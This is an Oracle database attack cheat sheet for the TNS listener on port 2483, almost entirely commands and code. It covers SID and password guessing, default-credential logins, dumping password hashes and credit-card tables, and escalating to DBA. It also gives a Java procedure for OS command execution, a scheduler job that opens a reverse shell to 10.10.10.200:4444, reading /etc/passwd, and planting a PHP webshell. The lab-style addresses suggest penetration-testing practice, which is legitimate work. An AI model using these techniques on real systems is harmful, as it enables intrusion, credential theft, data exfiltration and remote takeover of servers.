Porta 2483 Oracle DB: TNS Listener, SID e Pentest

nmap -sV -p 2483 --script=oracle-tns-version,oracle-sid-brute,oracle-enum-users 10.10.10.40

odat sidguesser -s 10.10.10.40 -p 2483

tnscmd10g version -h 10.10.10.40 -p 2483

tnscmd10g status -h 10.10.10.40 -p 2483

sqlplus sys/change_on_install@10.10.10.40:2483/ORCL as sysdba

sqlplus system/manager@10.10.10.40:2483/ORCL

sqlplus scott/tiger@10.10.10.40:2483/ORCL

odat passwordguesser -s 10.10.10.40 -p 2483 -d ORCL \
  --accounts-file /usr/share/odat/accounts/accounts.txt

hydra -L users.txt -P passwords.txt 10.10.10.40 oracle-listener -s 2483

-- Versione
SELECT * FROM v$version;

-- Database name
SELECT ora_database_name FROM dual;

-- Hostname
SELECT host_name FROM v$instance;

-- Utente corrente
SELECT user FROM dual;

-- Ruoli
SELECT * FROM session_roles;

-- Privilegi
SELECT * FROM session_privs;

-- Lista utenti
SELECT username, account_status FROM dba_users;

-- Hash password (Oracle 11g+)
SELECT name, spare4 FROM sys.user$;

-- Lista tabelle del proprietario corrente
SELECT table_name FROM user_tables;

-- Lista tutte le tabelle (se DBA)
SELECT owner, table_name FROM all_tables WHERE owner NOT IN ('SYS','SYSTEM','MDSYS');

-- Dump dati
SELECT * FROM HR.EMPLOYEES;
SELECT * FROM FINANCE.CREDIT_CARDS;

SELECT * FROM session_roles;

odat privesc -s 10.10.10.40 -p 2483 -d ORCL -U scott -P tiger --sysdba

-- Esegui procedure di sistema per ottenere DBA
BEGIN
  DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM, 'DEFAULT');
END;
/

-- Grant DBA a te stesso (se hai i permessi necessari)
EXEC DBMS_SQL.PARSE(DBMS_SQL.OPEN_CURSOR, 'GRANT DBA TO SCOTT', DBMS_SQL.NATIVE);

CREATE OR REPLACE PROCEDURE SYS.GRANT_DBA
IS
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
/

EXEC SYS.GRANT_DBA;

-- Crea la procedura Java per OS command execution
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS
import java.io.*;
public class cmd {
  public static String run(String command) {
    try {
      Process p = Runtime.getRuntime().exec(command);
      BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
      String line;
      StringBuilder sb = new StringBuilder();
      while ((line = br.readLine()) != null) sb.append(line).append("\n");
      return sb.toString();
    } catch (Exception e) { return e.getMessage(); }
  }
};
/

-- Wrapper PL/SQL
CREATE OR REPLACE FUNCTION os_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'cmd.run(java.lang.String) return java.lang.String';
/

-- Grant necessari (se SYSDBA)
BEGIN
  DBMS_JAVA.GRANT_PERMISSION('SCOTT', 'java.io.FilePermission', '<<ALL FILES>>', 'execute');
  DBMS_JAVA.GRANT_PERMISSION('SCOTT', 'java.lang.RuntimePermission', '*', 'writeFileDescriptor');
END;
/

-- Esegui comandi OS
SELECT os_cmd('id') FROM dual;

BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name   => 'OS_CMD',
    job_type   => 'EXECUTABLE',
    job_action => '/bin/bash',
    number_of_arguments => 2,
    enabled    => FALSE
  );
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('OS_CMD', 1, '-c');
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('OS_CMD', 2, 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1');
  DBMS_SCHEDULER.ENABLE('OS_CMD');
END;
/

-- Leggere file dal filesystem
CREATE DIRECTORY HACK_DIR AS '/etc';
SELECT * FROM EXTERNAL(
  (line VARCHAR2(4000))
  TYPE ORACLE_LOADER
  DEFAULT DIRECTORY HACK_DIR
  ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE FIELDS (line VARCHAR2(4000)))
  LOCATION ('passwd')
) t;

# Upload ed esecuzione file
odat externaltable -s 10.10.10.40 -p 2483 -d ORCL -U sys -P change_on_install \
  --sysdba --exec /bin/bash "-c 'id'"

# Upload webshell (se il server web gira sullo stesso host)
odat utlfile -s 10.10.10.40 -p 2483 -d ORCL -U sys -P change_on_install \
  --sysdba --putFile /var/www/html cmd.php "<?php system(\$_GET['c']); ?>"